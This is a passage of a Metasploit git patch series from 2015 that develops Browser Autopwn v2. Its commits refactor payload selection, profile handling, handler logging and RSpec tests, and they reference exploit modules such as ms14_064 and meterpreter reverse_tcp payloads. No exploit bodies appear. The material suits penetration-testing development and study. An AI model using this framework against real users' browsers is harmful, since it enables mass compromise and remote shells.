table' do + expect(output).to include('ms14_064_ole_code_execution') + end + end + + context 'when there is adobe_flash_uncompress_zlib_uaf available' do + it 'shows adobe_flash_uncompress_zlib_uaf' do + expect(output).to include('adobe_flash_uncompress_zlib_uaf') + end + end + + context 'when there is adobe_flash_net_connection_confusion available' do + it 'shows adobe_flash_net_connection_confusion' do + expect(output).to include('adobe_flash_net_connection_confusion') + end + end + end + + skip '#start_service' do + # You got me, I don't know how to implement this one because the super" + end + + describe '#show_payloads' do + it 'shows payloads' do + output = get_stdout { subject.show_payloads } + expect(output).to include(windows_meterpreter_reverse_tcp) + expect(output).to include(linux_meterpreter_reverse_tcp) + end + end + + describe '#show_real_list' do + before(:each) do + allow(subject).to receive(:set_exploit_options) + subject.instance_variable_set(:@bap_exploits, []) + subject.init_exploits + allow(subject).to receive(:retrieve_tag) + unpacked_profile = MessagePack.unpack(profile_packed_data) + allow(subject).to receive(:get_profile_info).and_return(unpacked_profile) + end + + it 'shows exploits' do + suitable_exploits = subject.get_suitable_exploits(cli, cli_req) + output = get_stdout { subject.show_real_list('127.0.0.1', profile_tag, suitable_exploits) } + expect(output).to include('ms14_064_ole_code_execution') + end + end + + describe '#set_payload' do + it 'shows set_payload' do + output = get_stdout { subject.set_payload } + expect(output).to include('\'set payload\' has been disabled for BrowserAutoPwn') + end + end end describe '#get_suitable_exploits' do @@ -679,7 +769,16 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do subject.instance_variable_set(:@bap_exploits, []) subject.init_exploits allow(subject).to receive(:retrieve_tag) - allow(subject).to receive(:get_profile_info) + unpacked_profile = MessagePack.unpack(profile_packed_data) + allow(subject).to receive(:get_profile_info).and_return(unpacked_profile) + end + + context 'when client is Windows' do + it 'returns ms14_064' do + suitable_exploits = subject.get_suitable_exploits(cli, cli_req) + expect(suitable_exploits.length).to eq(1) + expect(suitable_exploits.first.fullname).to eq('windows/browser/ms14_064_ole_code_execution') + end end end @@ -694,19 +793,32 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end - describe '#show_real_list' do - end - describe '#get_exploit_urls' do - end - - describe '#on_request_uri' do + context 'when ms14_064 is on the list' do + it 'returns the URL for ms14_064' do + ms14_064 = create_fake_ms14_064 + allow(subject).to receive(:get_suitable_exploits).and_return([ms14_064]) + expect(subject.get_exploit_urls(cli, cli_req).first).to include(ms14_064.datastore['URIPATH']) + end + end end describe '#is_ip_targeted?' do - end + let(:ip) { '1.2.3.4' } - describe '#session_count' do + context 'when IP 1.2.3.4 is on the whitelist' do + it 'returns true' do + subject.instance_variable_set(:@whitelist, [ip]) + expect(subject.is_ip_targeted?(ip)).to be_truthy + end + end + + context 'when IP 1.2.3.4 is not on the whitelist' do + it 'returns false' do + subject.instance_variable_set(:@whitelist, []) + expect(subject.is_ip_targeted?(ip)).to be_falsey + end + end end describe '#get_custom_404_url' do @@ -716,6 +828,34 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end describe '#build_html' do + before(:each) do + ms14_064 = create_fake_ms14_064 + allow(subject).to receive(:get_suitable_exploits).and_return([ms14_064]) + url_list = subject.get_exploit_urls(cli, cli_req) + allow(subject).to receive(:get_exploit_urls).and_return(url_list) + end + + let(:html) do + subject.build_html(cli, cli_req) + end + + context 'it returns javascript functions' do + it 'contains the setElementStyle function' do + expect(html).to match(/function setElementStyle/) + end + + it 'contains the moveIframe function' do + expect(html).to match(/function moveIframe/) + end + + it 'contains the onload function' do + expect(html).to match(/window\.onload = function/) + end + + it 'contains the loadExploit function' do + expect(html).to match(/function loadExploit/) + end + end end end \ No newline at end of file From e549580ad25c84176486794c7881db1d76b777b2 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 18 Jun 2015 00:40:47 -0500 Subject: [PATCH 093/150] Linux doesn't like the uppercase --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 +- lib/msf/core/exploit/remote/browser_profile_manager.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 6363c3e759..31ac710b3f 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -6,7 +6,7 @@ # ### -require 'Date' +require 'date' module Msf module Exploit::Remote::BrowserAutopwnv2 diff --git a/lib/msf/core/exploit/remote/browser_profile_manager.rb b/lib/msf/core/exploit/remote/browser_profile_manager.rb index c834d4a5a4..5e571ec6fe 100644 --- a/lib/msf/core/exploit/remote/browser_profile_manager.rb +++ b/lib/msf/core/exploit/remote/browser_profile_manager.rb @@ -1,4 +1,4 @@ -require 'Msgpack' +require 'msgpack' module Msf module Exploit::Remote::BrowserProfileManager From ef57afbfcfabf645bfe29557986074be69573240 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 19 Jun 2015 13:35:14 -0500 Subject: [PATCH 094/150] Explain about performance problems --- lib/msf/core/exploit/browser_autopwnv2.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 31ac710b3f..c428af2cbb 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -397,6 +397,11 @@ module Msf # Checks whether the payload is compatible with the module based on the module's compatibility list. # Best for multi-platform modules. This is much slower than #is_payload_platform_compatible? # + # @note This method is really slow, and it's really noticeable with Flash exploits because they're + # multi-platform. In our testing, every Flash that ends up using this code takes about 0.4 second + # to initialize when on average each BES should only take 0.1 to load. Evetnaully this will get + # worse. Luke is in the process of improving module searching (by caching), and that should make + # this problem go away. If not, we'll have to avoid using compatible_payloads and do our own thing. # @param [Object] m Module. # @param [String] payload_name # @return [TrueClass] Payload is compatible. From 88e58cbdc591411fc4d03b9f5ddc0d2aa0e30083 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 27 Jun 2015 12:19:07 -0500 Subject: [PATCH 095/150] Better performance --- lib/msf/core/exploit/browser_autopwnv2.rb | 57 ++++++++++--------- .../core/exploit/browser_autopwnv2_spec.rb | 6 +- 2 files changed, 33 insertions(+), 30 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index c428af2cbb..7da6a2d385 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -176,6 +176,7 @@ module Msf # Checks if a resource is already taken or not. # + # @param resource [String] The resource to check. # @return [TrueClass] Resource is taken. # @return [FalseClass] Resource is not taken. def is_resource_taken?(resource) @@ -227,7 +228,7 @@ module Msf # Sorts a grouped module list by disclosure date. # - # @param [Hash] bap_groups A grouped module list. + # @param bap_groups [Hash] A grouped module list. # @return [Hash] A hash with each module list sorted by disclosure date. def sort_date_in_group(bap_groups) bap_groups.each_pair do |ranking, module_list| @@ -238,7 +239,7 @@ module Msf # Sorts a module list by ranking. # - # @param [Hash] bap_groups A grouped module list. + # @param bap_groups [Hash] A grouped module list. # @return [Hash] A hash grouped by ranking. def sort_group_by_rank(bap_groups) Hash[bap_groups.sort_by {|k,v| k}.reverse] @@ -265,7 +266,7 @@ module Msf # Modifies @bap_exploit by replacing it with the rearranged module list. # # @see #bap_exploits The read-only attribute. - # @param [Hash] bap_groups A grouped module list. + # @param bap_groups [Hash] A grouped module list. # @return [void] def finalize_sorted_modules(bap_groups) @bap_exploits = [] @@ -281,7 +282,7 @@ module Msf # Returns a payload name. Either this will be the user's choice, or falls back to a default one. # # @see DEFAULT_PAYLOADS The default settings. - # @param [Symbol] platform Platform name. + # @param platform [Symbol] Platform name. # @return [String] Payload name. def get_selected_payload_name(platform) payload_name = datastore["PAYLOAD_#{platform.to_s.upcase}"] @@ -300,7 +301,7 @@ module Msf # Returns the selected payload's LPORT. # - # @param [Symbol] platform + # @param platform [Symbol] # @return [Fixnum] def get_selected_payload_lport(platform) datastore["PAYLOAD_#{platform.to_s.upcase}_LPORT"] @@ -367,7 +368,7 @@ module Msf # Returns the human-readable version of the rank. # - # @param [Fixnum] rank + # @param rank [Fixnum] # @return [String] def parse_rank(rank) RankingName[rank].to_s.capitalize @@ -377,8 +378,8 @@ module Msf # Checks whether the payload is compatible with the module based on platform information. # Best for single-platform modules and for performance. # - # @param [Object] m Module. - # @param [Symbol] payload_platform Payload platform. + # @param m [Object] Module. + # @param payload_platform [Symbol] Payload platform. # @return [TrueClass] Payload is compatible. # @return [FalseClass] Payload is not compatible. def is_payload_platform_compatible?(m, payload_platform) @@ -394,20 +395,14 @@ module Msf end - # Checks whether the payload is compatible with the module based on the module's compatibility list. - # Best for multi-platform modules. This is much slower than #is_payload_platform_compatible? + # Checks whether the payload is compatible with the module based on the module's compatibility list # - # @note This method is really slow, and it's really noticeable with Flash exploits because they're - # multi-platform. In our testing, every Flash that ends up using this code takes about 0.4 second - # to initialize when on average each BES should only take 0.1 to load. Evetnaully this will get - # worse. Luke is in the process of improving module searching (by caching), and that should make - # this problem go away. If not, we'll have to avoid using compatible_payloads and do our own thing. - # @param [Object] m Module. - # @param [String] payload_name + # @param compatible_payloads [Array] A list of payloads that are compatible + # @param payload_name [String] # @return [TrueClass] Payload is compatible. # @return [FalseClass] Payload is not compatible. - def is_payload_compatible?(m, payload_name) - m.compatible_payloads.each do |k| + def is_payload_compatible?(compatible_payloads, payload_name) + compatible_payloads.each do |k| return true if k[0] == payload_name end @@ -417,9 +412,9 @@ module Msf # Checks if the module is multi-platform based on the directory path. # - # @param [Object] m Module. - # @return [TrueClass] Module is multi-platform. - # @return [FalseClass] Module is not multi-platform. + # @param m [Object] Module. + # @return Module [TrueClass] is multi-platform. + # @return Module [FalseClass] is not multi-platform. def is_multi_platform_exploit?(m) m.fullname.include?('multi/') end @@ -427,11 +422,13 @@ module Msf # Returns an appropriate payload that's compatible with the module. # - # @param [Object] m A module that's been initialized. + # @param m [Object] A module that's been initialized. # @return [Array] Payload name. Example: 'windows/meterpreter/reverse_tcp' def select_payload(m) compatible_payloads = [] + module_payloads = nil + DEFAULT_PAYLOADS.each_pair do |platform, info| payload_choice = { :payload_name => get_selected_payload_name(platform), @@ -441,8 +438,14 @@ module Msf if !is_multi_platform_exploit?(m) && !m.platform.platforms.empty? && is_payload_platform_compatible?(m, platform) compatible_payloads << payload_choice break - elsif is_payload_compatible?(m, payload_choice[:payload_name]) - compatible_payloads << payload_choice + else + # The #compatible_payloads method is super expensive (slow). By doing it this way, + # I managed to shave off seconds. + module_payloads ||= m.compatible_payloads + + if is_payload_compatible?(module_payloads, payload_choice[:payload_name]) + compatible_payloads << payload_choice + end end end @@ -628,8 +631,8 @@ module Msf # Logs a click that includes the suitable exploit list. # - # @param [String] ip The target's IP address. - # @param [String] data (Optional) CSV data that contains the exploit list. + # @param ip [String] The target's IP address. + # @param data [String] (Optional) CSV data that contains the exploit list. # @return [void] def log_click(ip, data='') report_note( diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb index 1d003816f6..eef314059e 100644 --- a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb @@ -629,17 +629,17 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end describe '#is_payload_compatible?' do - let(:windows_exploit) { create_fake_ms14_064 } + let(:windows_exploit_payloads) { create_fake_ms14_064.compatible_payloads } context 'when a valid payload name is given' do it 'returns true' do - expect(subject.is_payload_compatible?(windows_exploit, windows_meterpreter_reverse_tcp)).to be_truthy + expect(subject.is_payload_compatible?(windows_exploit_payloads, windows_meterpreter_reverse_tcp)).to be_truthy end end context 'when an invalid payload name is given' do it 'returns false' do - expect(subject.is_payload_compatible?(windows_exploit, linux_meterpreter_reverse_tcp)).to be_falsey + expect(subject.is_payload_compatible?(windows_exploit_payloads, linux_meterpreter_reverse_tcp)).to be_falsey end end end From 5c039ccfd796637c96d563fdb3a421a5a99b73e0 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 27 Jun 2015 13:51:21 -0500 Subject: [PATCH 096/150] Even faster --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 7da6a2d385..885b86c782 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -63,7 +63,6 @@ module Msf next end if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) - set_exploit_options(mod) @bap_exploits << mod end end @@ -460,6 +459,7 @@ module Msf # @return [void] def start_exploits bap_exploits.each do |m| + set_exploit_options(m) m.exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, From 6136269aceed91839d221629d37a77267340190e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 27 Jun 2015 13:53:29 -0500 Subject: [PATCH 097/150] No can't do this --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 885b86c782..7da6a2d385 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -63,6 +63,7 @@ module Msf next end if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) + set_exploit_options(mod) @bap_exploits << mod end end @@ -459,7 +460,6 @@ module Msf # @return [void] def start_exploits bap_exploits.each do |m| - set_exploit_options(m) m.exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, From 7742d85f2fc088ad156f4bf2cc6a49024f4dc37e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 27 Jun 2015 20:58:19 -0500 Subject: [PATCH 098/150] I guess that's fine --- lib/msf/core/exploit/browser_autopwnv2.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 7da6a2d385..d2b3ccbf92 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -63,7 +63,7 @@ module Msf next end if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) - set_exploit_options(mod) + @bap_exploits << mod end end @@ -460,6 +460,7 @@ module Msf # @return [void] def start_exploits bap_exploits.each do |m| + set_exploit_options(m) m.exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, From 7aeb9e555b247eace2cfd124a167fc9e09be009f Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 29 Jun 2015 12:13:46 -0500 Subject: [PATCH 099/150] Change ranking and support CAMPAIGN_ID --- lib/msf/core/exploit/browser_autopwnv2.rb | 1 + modules/exploits/multi/browser/autopwn.rb | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index d2b3ccbf92..48d321bd27 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -348,6 +348,7 @@ module Msf multi_handler.datastore['PrependMigrateProc'] = datastore['PrependMigrateProc'] if datastore['PrependMigrateProc'] multi_handler.datastore['InitialAutoRunScript'] = datastore['InitialAutoRunScript'] if datastore['InitialAutoRunScript'] multi_handler.datastore['AutoRunScript'] = datastore['AutoRunScript'] if datastore['AutoRunScript'] + multi_handler.datastore['CAMPAIGN_ID'] = datastore['CAMPAIGN_ID'] if datastore['CAMPAIGN_ID'] # Configurable only by BAP multi_handler.datastore['EXITONSESSION'] = false diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index afecbfc00c..49113c3ecd 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserAutopwnv2 @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Targets' => [ [ 'Automatic', {} ] ], 'Platform' => %w{ java linux osx solaris win android firefox }, 'Privileged' => false, - 'DisclosureDate' => "Feb 5 2014", + 'DisclosureDate' => "Jul 5 2015", 'Targets' => [ [ 'Automatic', {} ] ], 'References' => [ From 87e63257379b45953b2883c96ee6e0f79b7fbb33 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 2 Jul 2015 12:10:21 -0500 Subject: [PATCH 100/150] Revert BAPv2 changes to framework/libraries/handlers --- lib/msf/core/exploit/http/server.rb | 6 ++-- lib/msf/core/exploit/tcp_server.rb | 6 ++-- lib/msf/core/handler/reverse_tcp.rb | 5 ++-- lib/msf/core/handler/reverse_tcp_double.rb | 28 ++++++++----------- .../core/handler/reverse_tcp_double_ssl.rb | 4 +-- lib/msf/ui/console/command_dispatcher/core.rb | 19 +++---------- modules/exploits/multi/handler.rb | 4 +-- 7 files changed, 23 insertions(+), 49 deletions(-) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index baae927866..6b58eb8a4a 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -217,12 +217,10 @@ module Exploit::Remote::HttpServer print_status("Intentionally using insecure SSL compression. Your operating system might not respect this!") end - unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 - print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") - end + print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") - if opts['ServerHost'] == '0.0.0.0' && datastore['MODULEOWNER'] != Msf::Exploit::Remote::BrowserAutopwnv2 + if opts['ServerHost'] == '0.0.0.0' print_status("Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") end diff --git a/lib/msf/core/exploit/tcp_server.rb b/lib/msf/core/exploit/tcp_server.rb index 3a84cf38c9..771a1bad6b 100644 --- a/lib/msf/core/exploit/tcp_server.rb +++ b/lib/msf/core/exploit/tcp_server.rb @@ -47,9 +47,7 @@ module Exploit::Remote::TcpServer def exploit start_service() - unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 - print_status("Server started.") - end + print_status("Server started.") # Call the exploit primer primer @@ -71,7 +69,7 @@ module Exploit::Remote::TcpServer super if(service) stop_service() - print_status("Server stopped.") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Server stopped.") end end diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index dcfcd69983..ab0b30dd7e 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -108,9 +108,8 @@ module ReverseTcp else via = "" end - unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 - print_status("Started reverse handler on #{ip}:#{local_port} #{via}") - end + + print_status("Started reverse handler on #{ip}:#{local_port} #{via}") break rescue ex = $! diff --git a/lib/msf/core/handler/reverse_tcp_double.rb b/lib/msf/core/handler/reverse_tcp_double.rb index 71d5673974..af0730f3c5 100644 --- a/lib/msf/core/handler/reverse_tcp_double.rb +++ b/lib/msf/core/handler/reverse_tcp_double.rb @@ -95,22 +95,16 @@ module ReverseTcpDouble sock_inp = nil sock_out = nil - unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 - print_status("Started reverse double handler") - end + print_status("Started reverse double handler") begin # Accept two client connection begin client_a = self.listener_sock.accept - unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 - print_status("Accepted the first client connection...") - end + print_status("Accepted the first client connection...") client_b = self.listener_sock.accept - unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 - print_status("Accepted the second client connection...") - end + print_status("Accepted the second client connection...") rescue wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") return nil @@ -153,35 +147,35 @@ module ReverseTcpDouble print_status("Command: #{echo.strip}") - print_status("Writing to socket A") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Writing to socket A") sock_a.put(echo) - print_status("Writing to socket B") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Writing to socket B") sock_b.put(echo) - print_status("Reading from sockets...") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Reading from sockets...") resp_a = '' resp_b = '' if (sock_a.has_read_data?(1)) - print_status("Reading from socket A") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Reading from socket A") resp_a = sock_a.get_once print_status("A: #{resp_a.inspect}") end if (sock_b.has_read_data?(1)) - print_status("Reading from socket B") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Reading from socket B") resp_b = sock_b.get_once print_status("B: #{resp_b.inspect}") end - print_status("Matching...") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Matching...") if (resp_b.match(etag)) - print_status("A is input...") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("A is input...") return sock_a, sock_b else - print_status("B is input...") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("B is input...") return sock_b, sock_a end diff --git a/lib/msf/core/handler/reverse_tcp_double_ssl.rb b/lib/msf/core/handler/reverse_tcp_double_ssl.rb index 6d7c89d913..d6650f5264 100644 --- a/lib/msf/core/handler/reverse_tcp_double_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_double_ssl.rb @@ -105,9 +105,7 @@ module ReverseTcpDoubleSSL via = "" end - unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 - print_status("Started reverse double SSL handler on #{ip}:#{local_port} #{via}") - end + print_status("Started reverse double SSL handler on #{ip}:#{local_port} #{via}") break rescue ex = $! diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 91acdab3bb..6ce3e89de2 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1986,12 +1986,6 @@ class Core # Sets a name to a value in a context aware environment. # def cmd_set(*args) - # Special-case Browser AutoPwn because set payload can only set one payload, but BAP can - # do multiple. So let BAP handle this. - if args[0] && args[0].upcase == 'PAYLOAD' && active_module.kind_of?(Msf::Exploit::Remote::BrowserAutopwnv2) && active_module.respond_to?(:set_payload) - active_module.set_payload - return - end # Figure out if these are global variables global = false @@ -2083,6 +2077,7 @@ class Core # at least 1 when tab completion has reached this stage since the command itself has been completed def cmd_set_tabs(str, words) + # A value has already been specified return [] if words.length > 2 @@ -3353,15 +3348,9 @@ class Core mod_opt = Serializer::ReadableText.dump_options(mod, ' ') print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0) - # We have to special-case browser autopwn because BAP is an exploit module that allows having - # multiple payloads, but normally MSF can't do this, so it will have be handled by the BAP - # mixin. - # For other normal cases, if it's still an exploit and a payload is defined, then just go ahead - # create it, and then display the payload options. - if mod.exploit? and mod.kind_of?(Msf::Exploit::Remote::BrowserAutopwnv2) and mod.respond_to?(:show_payloads) - # #show_payloads should be defined by BrowserAutoPwn - mod.show_payloads - elsif (mod.exploit? and mod.datastore['PAYLOAD']) + # If it's an exploit and a payload is defined, create it and + # display the payload's options + if (mod.exploit? and mod.datastore['PAYLOAD']) p = framework.payloads.create(mod.datastore['PAYLOAD']) if (!p) diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb index 26cfb0529b..1c4f635b8e 100644 --- a/modules/exploits/multi/handler.rb +++ b/modules/exploits/multi/handler.rb @@ -49,9 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote end stime = Time.now.to_f - unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 - print_status "Starting the payload handler..." - end + print_status "Starting the payload handler..." while(true) break if session_created? and datastore['ExitOnSession'] break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) ) From b9a83081384a0bb573e034d82bfa7ddaf0985486 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 2 Jul 2015 12:53:24 -0500 Subject: [PATCH 101/150] Replace BAP profiles with a framework-instance hash --- lib/msf/core/exploit/browser_autopwnv2.rb | 72 +++----- .../exploit/remote/browser_exploit_server.rb | 26 +-- .../exploit/remote/browser_profile_manager.rb | 66 ++------ .../remote/browser_profile_manager_spec.rb | 158 ------------------ 4 files changed, 53 insertions(+), 269 deletions(-) delete mode 100644 spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 48d321bd27..8ff4e76c5b 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -63,55 +63,25 @@ module Msf next end if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) - + @bap_exploits << mod end end end - # Returns a note type that's unique to this BAP (based on a timestamp). - # This overrides Msf::Exploit::Remote::BrowserProfileManager#note_type_prefix so that BAP + # Returns a prefix type that's unique to this BAP (based on a timestamp & module uuid). + # This overrides Msf::Exploit::Remote::BrowserProfileManager#browser_profile_prefix so that BAP # and all of its child exploits can share target information with each other. If BAP is active # but there are other standalone BES exploits running, this allows them not to use (or cleanup) - # each other's data. Also, once requested, the method will not generate another note type prefix - # again, it will just return whatever's been stored in the @note_type_prefix instance variable. + # each other's data. Also, once requested, the method will not generate another profile prefix + # again, it will just return whatever's been stored in the @browser_profile_prefix instance variable. # # @return [String] - def note_type_prefix - @note_type_prefix ||= "BAP.#{Time.now.to_i}.Client" + def browser_profile_prefix + @browser_profile_prefix ||= "BAP.#{Time.now.to_i}.#{self.module_uuid}" end - - # Removes target information from the framework database owned by this BAP. - # If the user is not connected to the database, then no cleanup action. - # - # @return [void] - def rm_target_info_notes - return unless framework.db.active - retries = 0 - begin - ::ActiveRecord::Base.connection_pool.with_connection { - framework.db.notes.each do |note| - note.destroy if note.ntype.include?(note_type_prefix) - end - } - rescue NameError => e - # Very rarely, framework.db.notes triggers uninitialized constant Mdm::Workspace::Mdm::Note. - # Not sure why, it's been really difficult to reproduce. But the uninitialized constant error - # is raised by the compute_type method in inheritance.rb from active_record, so we'll just - # rescue that and retry a couple of times. - if retries < 10 - retry - else - print_error("Unable to properly cleanup notes. Try doing it manually: notes -d") - elog("(BAP notes cleanup) #{e.class} #{e.message}\n#{e.backtrace * "\n"}") - end - retries += 1 - end - end - - # Removes background exploit jobs that belong to BAP. # # @return [void] @@ -132,14 +102,14 @@ module Msf end - # Cleans up everything such as notes and jobs. + # Cleans up everything such as profiles and jobs. # # @see #rm_exploit_jobs The method for cleaning up jobs. - # @see #rm_target_info_notes The method for removing target information (found in db notes). + # @see #Msf::Exploit::Remote::BrowserProfileManager#clear_browser_profiles The method for removing target information. # @return [void] def cleanup super - rm_target_info_notes + clear_browser_profiles rm_exploit_jobs rm_payload_jobs end @@ -168,9 +138,13 @@ module Msf # Set options only configurable by BAP. xploit.datastore['DisablePayloadHandler'] = true - xploit.datastore['NoteTypePrefix'] = note_type_prefix + xploit.datastore['BrowserProfilePrefix'] = browser_profile_prefix xploit.datastore['URIPATH'] = "/#{assign_module_resource}" - xploit.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 + + # TODO: Pass additional parameters + # TODO: Pass WORKSPACE and other options down to the sub module + # TODO: Add BAPv2 tracking information (?) + # TODO: Change exploit output options? end @@ -179,6 +153,7 @@ module Msf # @param resource [String] The resource to check. # @return [TrueClass] Resource is taken. # @return [FalseClass] Resource is not taken. + # TODO: Prevent partial prefix match def is_resource_taken?(resource) taken = false @@ -232,6 +207,7 @@ module Msf # @return [Hash] A hash with each module list sorted by disclosure date. def sort_date_in_group(bap_groups) bap_groups.each_pair do |ranking, module_list| + # TODO: Handle wonky dates in local modules better bap_groups[ranking] = module_list.sort_by {|m| Date.parse(m.disclosure_date.to_s)}.reverse end end @@ -350,10 +326,14 @@ module Msf multi_handler.datastore['AutoRunScript'] = datastore['AutoRunScript'] if datastore['AutoRunScript'] multi_handler.datastore['CAMPAIGN_ID'] = datastore['CAMPAIGN_ID'] if datastore['CAMPAIGN_ID'] + + # TODO: Pass WORKSPACE and other options down to the sub module + # Configurable only by BAP - multi_handler.datastore['EXITONSESSION'] = false + multi_handler.datastore['ExitOnSession'] = false multi_handler.datastore['EXITFUNC'] = 'thread' - multi_handler.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 + + # TODO: BAPv2 specific options / tracking would go here # Now we're ready to start the handler multi_handler.exploit_simple( @@ -616,7 +596,7 @@ module Msf def get_suitable_exploits(cli, request) current_exploit_list = [] tag = retrieve_tag(cli, request) - profile_info = 